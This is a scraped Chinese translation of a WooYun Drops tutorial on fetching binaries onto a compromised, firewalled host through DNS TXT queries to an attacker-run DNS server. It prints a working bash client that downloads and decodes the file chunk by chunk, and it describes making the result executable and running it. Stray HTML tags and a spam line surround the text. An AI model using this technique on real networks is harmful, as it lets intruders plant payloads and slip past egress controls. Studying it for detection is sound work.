<pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
    <pre id="vvttv"></pre>

      <p id="vvttv"></p>

          <p id="vvttv"></p>

                <p id="vvttv"></p>

                <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                  <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                    <p id="vvttv"></p>

                    原文地址:http://drops.wooyun.org/tools/1344

                    0x00 背景


                    偶爾會遇到這樣的情況,防火墻規則極大的限制外網的訪問(這種情況經常是一個白名單來處理,僅僅允許少量的主機和外網產生連接)想要下載一下二進制文件到目標主機上,就會很麻煩。

                    我們來假設這樣的一個情景:你已經擁有在上述情況下的主機、需要和你的本機傳輸工具或者數據。在這個情景下面、你被限制了下載,有一個好辦法來突破這種限制,那就是通過DNS查詢的來獲得想要的數據。

                    如果目標機器的設定的DNS(或者任何只要目標主機能夠在網絡上訪問的DNS服務器)能夠在網絡上做DNS查詢。那就能夠下載想要的二進制文件。

                    0x02 原理


                    不了解這項技術的人可能以為是下面這樣的流程:

                    目標主機<---->網絡上的DNS服務器<---->注冊域名服務器<---->攻擊者的遠端主機
                    

                    其實是這樣的流程:

                    目標主機<---->構建的DNS服務器
                    

                    只要目標主機能夠和搭建的DNS服務器進行DNS解析就可以實現。

                    方法就是在服務端通過base64來編碼這些特殊文件,對編碼后的文件分塊,同時添加到DNS Server的記錄中,然后在目標主機上進行域名的解析請求,DNS服務器返回base64編碼,在對base64編碼進行解碼,這樣就實現了文件下載。

                    0x03 實現


                    使用方法:

                    1、對需要運行server.py腳本的服務器進行配置
                    2、在服務器上,執行python server.py -f fielname
                    3、在客戶端上,運行sh client.sh dns.testdomain.com
                    4、這時你應該看到client和server開始產生base64的調試輸出。client會把base64的編碼寫到本地文件中,同時在結束傳輸時解碼
                    

                    0x03a Python代碼導入了幾個庫,這些庫可能需要單獨安裝:

                    dns和argparse,在安裝argparse的時候可能會報錯,根據報錯安裝所需的庫,即可正常運行server.py

                    PS:在https://pypi.python.org/ 能夠下載到

                    server.py有三個參數:

                    -f  指定需要分割的二進制文件
                    -q  靜默模式,不在終端上輸出日志信息
                    -s  指定開始的dns解析的子域,必須設置成一個數字client.sh中的i,必須和-s指定的一樣。默認是0
                    

                    0x03b 在server上運行server.py,創建DNS服務器,a.out是一個二進制文件。

                    enter image description here

                    在目標主機上運行

                    0x03c sh client.sh domain

                    會產生以下輸出

                    enter image description here

                    0x03d 腳本會對接受的base64的編碼進行解碼,添加執行權限后就可執行,執行二進制文件。

                    enter image description here

                    0x04 源碼


                    server.py下載地址

                    https://github.com/breenmachine/dnsftp

                    client.sh腳本

                    #!bash
                    #!/bin/bash
                    error=';; connection timed out; no servers could be reached'
                    i=0
                    echo ''> output.b64
                    while :
                    do
                      RESP=`dig +short $i.$1 TXT | cut -d'"' -f 2`
                      if [ "$RESP" = "$error" ];
                      then
                        echo "Timeout - done"
                        break
                      fi
                      echo -ne $RESP >> output.b64
                      echo $RESP
                      i=$((i+1))
                    done
                    cat output.b64 | base64 -d >> output
                    

                    文件打包下載:dnsftp-master.zip

                    翻譯出處:

                    http://breenmachine.blogspot.com/2014/03/downloading-files-through-recursive-dns.html

                      <pre id="vvttv"><mark id="vvttv"><progress id="vvttv"></progress></mark></pre>
                      <pre id="vvttv"></pre>

                        <p id="vvttv"></p>

                            <p id="vvttv"></p>

                                  <p id="vvttv"></p>

                                  <pre id="vvttv"><cite id="vvttv"><progress id="vvttv"></progress></cite></pre>

                                    <output id="vvttv"><dfn id="vvttv"><th id="vvttv"></th></dfn></output>

                                      <p id="vvttv"></p>

                                      这里只有精品视频